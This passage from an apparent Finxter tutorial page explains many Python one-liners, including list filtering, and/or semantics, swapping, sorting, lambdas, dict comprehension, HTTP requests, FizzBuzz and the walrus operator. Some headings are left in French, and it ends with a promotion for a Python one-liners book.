[2, 6, 4, 3, 1]

# Even Elements
[8, 2, 6, 4]

# Odd Elements
[3, 1]

This is the most efficient way of filtering an array and it’s also the most Pythonic one.

Related Article :How to Filter a List in Python?

Python One Line Append

Problème :How can we append multiple elements to a list in a for loop but using only a single line of Python code?

Exemple :Say, you want to filter a list of words against another list and store the resulting words in a new list using the append() method in a for loop.

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = []

for word in words:
    if word not in stop_words:
        filtered_words.append(word)

print(filtered_words)
# ['hi', 'hello', 'Python']

You first create a list of words to be filtered and stored in an initially empty list filtered_words . Second, you create a set of stop words against you want to check the words in the list. Note that it’s far more efficient to use the set data structure for this because checking membership in sets is much faster than checking membership in lists. See this tutorial for a full guide on Python sets.

You now iterate over all elements in the list words and add them to the filtered_words list if they are not in the set stop_words .

Solution :You can one-linerize this filtering process using the following code:

filtered_words = [word for word in words if word not in stop_words]

The solution uses list comprehension to, essentially, create a single-line for loop.

Here’s the complete code that solves the problem using the one-liner filtering method:

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = [word for word in words if word not in stop_words]

print(filtered_words)
# ['hi', 'hello', 'Python']

Here’s a short tutorial on filtering in case you need more explanations:

Related Articles :

  • How to Filter a List in Python?
  • Python One Line Append

Python One Line And Or

How do the Boolean and and or operators work in the context of Python one-liners?

You may know the standard use of the logical operators applied to Boolean values:

>>> True and False
False
>>> False or True
True

But there’s more to these operators that only experts in the art of writing concise Python one-liners know.

For instance, the following use of the or operator applied to non-Boolean values is little known:

>>> 'hello' or 42
'hello'
>>> [] or 42
42

Similarly, the following use of the and operator often causes confusion in readers of advanced Python one-liners:

>>> 'hello' and 42
42
>>> [] and 42
[]

How do the and and or operator work when applied to non-Boolean operands?

To understand what is going on, you need to look at the definitions of the Boolean operators:

Operator Description
a or b Returns b if the expression a evaluates to False using implicit Boolean conversion. If the expression a evaluates to True , the expression a is returned.
a and b Returns b if the expression a evaluates to True using implicit Boolean conversion. If the expression a evaluates to False , the expression a is returned.

Study these explanations thoroughly! The return value is of the same data type of the operands—they only return a Boolean value if the operands are already Boolean!

This optimization is called short-circuiting and it’s common practice in many programming languages. For example, it’s not necessary to evaluate the result of the second operand of an and operation if the first operand evaluates to False . The whole operation must evaluate to False in this case because the logical and only returns True if both operands are True .

Python goes one step further using the property of implicit Boolean conversion. Every object can be implicitly converted to a Boolean value. That’s why you see code like this:

l = []
if l:
    print('hi')
else:
    print('bye')
# bye

You pass a list into the if condition. Python then converts the list to a Boolean value to determine which branch to visit next. The empty list evaluates to False . All other lists evaluate to True , so the result is bye .

Together, short circuiting and implicit Boolean conversion allow the logical operators and and or to be applied to any two Python objects as operands. The return value always is one of the two operands using the short circuiting rules described in the table.

Python One Line Conditional Assignment

Problème :How to perform one-line if conditional assignments in Python?

Exemple :Say, you start with the following code.

x = 2
boo = True

You want to set the value of x to 42 if boo is True , and do nothing otherwise.

Let’s dive into the different ways to accomplish this in Python. We start with an overview:

Exercice :Run the code. Are all outputs the same?

Next, you’ll dive into each of those methods and boost your one-liner superpower!

Related Articles:

  • Python One Line Conditional Assignment
  • Python One Line Ternary
  • Python Ternary — Tuple Syntax Hack
  • If-Then-Else in One Line Python [Video + Interactive Code Shell]

Python One Line Swap

Problème :Given two variables a and b . Use a single line of Python code to swap the variables to assign the value of a to b and the value of b to a .

Exemple :Say, you have to integers a=21 and b=42 . You want to swap the variables so that a=42 and b=21 .

a = 21
b = 42
# SWAP MAGIC HERE
print(a, b)
# 42 21

How to swap to variables as a Python one-liner?

To swap two variables a and b, use the multiple assignment expression a, b = b, a that assigns the value of a to b and the value of b to a .

a = 21
b = 42

# Swap One-Liner
a, b = b, a

# Print the result to the shell
print(a, b)
# 42 21

Find a detailed explanation of this one-liner at our interactive code tutorial:

Related tutorial :How to Swap Two Variables in One Line Python?

Python One Line Sum

Problème :How to sum over all values in a given Python list?

a = [1, 2, 3]

You want to calculate the sum of all values in the list—using only a single line of Python code!

# RESULT: 6

Solution :Python’s built-in sum() function helps you to sum over all values in an iterable, such as a Python list. Here’s the minimal code example.

a = [1, 2, 3]

print(sum(a))
# 6

Comment ça marche? The syntax is sum(iterable, start=0) :

Argument Description
iterable Sum over all elements in the iterable . This can be a list, a tuple, a set, or any other data structure that allows you to iterate over the elements.
Exemple :sum([1, 2, 3]) returns 1+2+3=6 .
start (Optional.) The default start value is 0. If you define another start value, the sum of all values in the iterable will be added to this start value.
Exemple :sum([1, 2, 3], 9) returns 9+1+2+3=15 .

Please find more details in the complete tutorial about summing over all values in a list and a nested list:

Related Tutorial :Python One Line Sum List

Python One Line Sort

To sort and return a Python list in a single line of code, use the sorted(list) method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy.

Problème :Given a list of comparable objects such as integers or floats. Is there a way to sort the list and return the sorted list in a single line of Python code?

Exemple :Say, you’ve got the following list.

a = [4, 2, 1, 3]

You want to sort this list and return the result in a single line. If you use the list.sort() method, the return value is None :

print(a.sort())
# None

The return value of the list.sort() method is None , but many coders expect it to be the sorted list. So they’re surprised finding out that their variables contain the None type rather than a sorted list.

Here’s a quick overview of the methods to accomplish this:

Exercice :Change the list to be sorted by adding negative floats. Does it still work?

Do you want to learn more about each of the methods? Check out my related tutorial:

Related tutorial :How to Sort and Return a Python List in One Line?

Python One Line Semicolon

Here’s how one may use the semicolon:

x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);

If you run this Python one-liner with semicolons, you’ll get the following output:

hi young friend

On the first view, it doesn’t even look like Python code! C++ has semicolons. Java has semicolons. But Python is supposed to be a semicolon-free language, isn’t it?

The meaning of the semicolon in programming languages such as Java and C++ is to terminate the current statement . In those languages, you’ll use it after every single line. Without it, the interpreter believes that the code has not terminated yet and it starts looking for more. Any Java or C++ coder knows situations where an error occurred because they forgot to use a semicolon in their code.

In Python, however, semicolons have a slightly different meaning. They allow you to create so-called compound statements. The if construct is a compound statement. The for loop is a compound statement. And, a number of semicolon-separated Python statements are compound statements.

Related Article :Python Semicolons:How They Work and Why Haters Tell You to Avoid Them

Python One Line Function Definition

A lambda function allows you to define a function in a single line. It starts with the keyword lambda , followed by a comma-separated list of zero or more arguments, followed by the colon and the return expression. For example, lambda x, y: x+y calculates the sum of the two argument values x+y in one line of Python code.

Problème :How to define a function in a single line of Python code?

Exemple :Say, you’ve got the following function in three lines. How to compress them into a single line of Python code?

def say_hi(*friends):
    for friend in friends:
        print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)

The code defines a function say_hi that takes an iterable as input—the names of your friends—and prints 'hi x' for each element x in your iterable.

The output is:

'''
hi Alice
hi Bob
hi Ann
'''

Let’s dive into the different methods to accomplish this! First, here’s a quick interactive overview to test the waters:

Exercice :Run the code—is the output the same for all four methods?

In the following article, you’ll learn about each method in greater detail!

Related Article :Python One Line Function Definition

Python One Line Dictionary

Challenge :Say, you want to have the list indices as keys and the list elements as values.

# Given a list:
a = ['Alice', 'Liz', 'Bob']

# One-Line Statement Creating a Dict:
d = dict(enumerate(a))

print(d)
# {0: 'Alice', 1: 'Liz', 2: 'Bob'}

The one-liner dict(enumerate(a)) first creates an iterable of (index, element) tuples from the list a using the enumerate fonction. The dict() constructor than transforms this iterable of tuples to (key, value) mappages. The index tuple value becomes the new key . The element tuple value becomes the new value .

Learn more about different one-liners in the context of dictionaries in this blog article:

Article connexe : Python One Line Dictionary

Python One Line Dict Comprehension

Dictionary Comprehension is a concise and memory-efficient way to create and initialize dictionaries in one line of Python code. It consists of two parts:expression and context. The expression defines how to map keys to values. The context loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.

Article connexe : Python Dictionary Comprehension

Python One Line Docstring

Per convention, you use one-line docstrings if the function, module, class, or method is obvious enough to warrant a short explanation—but nothing more. You can enclose the one-liner docstring within single quotes, double quotes, or even triple quotes. However, enclosing the one-liner docstring in a triple quote is the most Pythonic way.

For example, the following function can be easily understood. Therefore, a one-liner docstring is sufficient to describe its behavior:

def add(x, y):
    '''Add both arguments and returns their sum.'''
    return x + y


print(add.__doc__)
# Add both arguments and returns their sum.

Related Article :Python One Line Docstring

Python One Line Download File

Summary :Download a file over the web by using the following steps in Python.

  • Import libary requests
  • Define URL string
  • Get file data from URL
  • Store file data in file object on your computer

Here’s how you can do this to download the Facebook Favicon (source):


At the beginning of our struggle with web scraping, you may have trouble downloading files using Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.

Article connexe : How to Download a File Over HTTPS in Python?

Python One Line For Loop Append

However, a much better option to append all elements in a given iterable to a given list is to use the list.extend() method:

# Method 3
friends = ['Ann', 'Alice']
new_friends = ['Bob', 'Liz']

# One-Liner:
friends.extend(new_friends)

# Results
print(friends)
# ['Ann', 'Alice', 'Bob', 'Liz']

The one-liner is much shorter and even faster. You can find a detailed speed comparison here.

Related Article: Python One Line For Loop Append

Python One Line Generator

A generator function is a Pythonic way to create an iterable without explicitly storing it in memory. This reduces memory usage of your code without incurring any additional costs.

Problème :Can we write a one-line generator?

Here’s the code that accomplishes this:

print(sum(random.random() for i in range(1000)))

The code consists of the following parts:

  • The print() function prints the result of the expression to the shell.
  • The sum() function sums over all values in the following iterable.
  • The generator expression random.random() for i in range(1000) generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.

This way, we still don’t store the whole list of 1000 numbers in memory but create them dynamically.

Article connexe : Python One Line Generator

Python One-Line Password Generator

The following interactive code shell creates a random password for you—using only a single line of Python code!

Related Article: Python One-Line Password Generator

Python One Line HTTP Get

This tutorial shows you how to perform simple HTTP get and post requests to an existing webserver!

Problème :Given the URL location of a webserver serving websites via HTTP. How to access the webserver’s response in a single line of Python code?

Exemple :Say, you want to accomplish the following:

url = 'https://google.com'
# ... Magic One-Liner Here...
print(result)
# ... Google HTML file:
'''
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="de"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>...
'''

You can try it yourself in our interactive Python shell:

Exercice :Does this script download the complete source code of the Google.com website?

Let’s learn about the three most important methods to access a website in a single line of Python code—and how they work!

Python Global in One Line

To update a global variable in one line of Python, retrieve the global variable dictionary with the globals() function, and access the variable by passing the variable name as a string key such as globals()['variable'] . Then overwrite the global variable using the equal symbol, for example in globals()['variable'] = 42 to overwrite the variable with value 42 .

a = 42
def update_3():
    globals()['a'] = 21


update_3()
print(a)
# 21

The code first accesses all global variables using the globals() function that returns a dictionary mapping names to objects. You access the value associated to the key 'a' . The return value is the object to which global variable a points.

Related article: Python One Line Global

Python One Line FizzBuzz

The FizzBuzz problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.

Problème :Print all numbers from 1-100 to the shell with three exceptions:

  • For each number divisible by three you print "Fizz" ,
  • For each number divisible by five you print "Buzz" , and
  • For each number divisible by three and five you print "FizzBuzz" .

Exemple :The first 15 numbers of the FizzBuzz sequence are the following.

1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
...

How to write a Python one-liner that solves this problem?

Here’s an interactive overview:

Exercice :Do both one-liners produce the same results? Run the code to check!

Let’s dive into those one-liners to gain a deeper understanding of the matter!

Related Tutorial :Python One Line FizzBuzz

Python One Line Hello World

Step 1: Here’s an interactive browser-based shell:

The shell runs any Python program in your browser.

Step 2 :Type the print function in your browser shell with opening and closing parentheses that are initially empty:

print()

The print() function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it:a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) 'hello world' .

Step 3 :Pass the 'hello world' string into the print() function between the parentheses.

print('hello world')

Congratulations, your first hello world one-liner is ready! Now, there’s only one thing left:

Step 4 :Run the hello world one-liner program by hitting the “Run” symbol ▶.

Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:

hello world

Related Article :Hello World! A Python One-Liner to Get Started with Python Quickly

Python One Line Comment

One-line comments begin with the hash (# ) character and reach to the end of the line. The newline character terminates the meaning of the comment—which is for the Python interpreter to ignore the commented text. A special case are inline comments that are used after a regular Python statement but before the newline character. The PEP 8 standard recommends to use them sparingly.

# This is a one-line comment

print('hi') # This is an inline comment

Related Article :Python Comments — 2-Minute Guide with Exercise

Python One Line Class

Problème :How to create a Python class in a single line of code?

Exemple :Say, you want to create a class Car with two attributes speed and color . Here would be the lengthy definition:

class Car:

    def __init__(self, speed, color):
        self.speed = speed
        self.color = color


porsche = Car(200, 'red')
tesla = Car(220, 'silver')

print(porsche.color)
# red

print(tesla.color)
# silver

How do you do this in a single line of code?

Further Reading: Python One Line Class

Python Define Multiple Variables in One Line

In this article, you’ll learn about two variants of this problem.

  • Assign multiple values to multiple variables
  • Assign the same value to multiple variables

Let’s have a quick overview of both in our interactive code shell:

Exercice :Increase the number of variables to 3 and create a new one-liner!

Related Article :Python Define Multiple Variables in One Line

Python One Line If (Not) None

Problème :How to assign a value to a variable if it is not equal to None —using only a single line of Python code?

Solution :A beautiful extension of Python 3.8 is the Walrus operator. The Walrus operator := is an assignment operator with return value. Thus, it allows you to check a condition and assign a value at the same time:

# Method 2
if tmp := get_value(): x = tmp

This is a very clean, readable, and Pythonic way. Also, you don’t have the redundant identity assignment in case the if condition is not fulfilled.

Related Articles:

  • The Walrus Operator in Python 3.8
  • Python One-Line Assign If Not None

Python One Line Map

Consider the following map() one-liner that changes each element x of a list to the value of x+1 :

print(list(map(lambda x: x + 1, [1, 2, 3])))
# [2, 3, 4]

You create a list with three elements. Then, you create an anonymous function that takes one argument (an integer in our case) and increments it by one. The map function applies the function to each element in the list and returns a new map object. This is converted back to a list using the list(...) fonction.

Article connexe : Python One Line Map

Python One-Liners Book:Master the Single Line First!

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners will teach you how to read and write “one-liners”:concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover (1) tips and tricks, (2) regular expressions, (3) machine learning, (4) core data science topics, and (5) useful algorithms.

Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills . You’ll learn about advanced Python features such as list comprehension , slicing , lambda functions , regular expressions , map and reduce functions, and slice assignments .

You’ll also learn how to:

  • Leverage data structures to solve real-world problems , like using Boolean indexing to find cities with above-average pollution
  • Use NumPy basics such as array , shape , axis , type , broadcasting , advanced indexing , slicing , sorting , searching , aggregating , and statistics
  • Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  • Create more advanced regular expressions using grouping and named groups , negative lookaheads , escaped characters , whitespaces, character sets (and negative characters sets ), and greedy/nongreedy operators
  • Understand a wide range of computer science topics , including anagrams , palindromes , supersets , permutations , factorials , prime numbers , Fibonacci numbers, obfuscation , searching , and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined , and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners on Amazon!!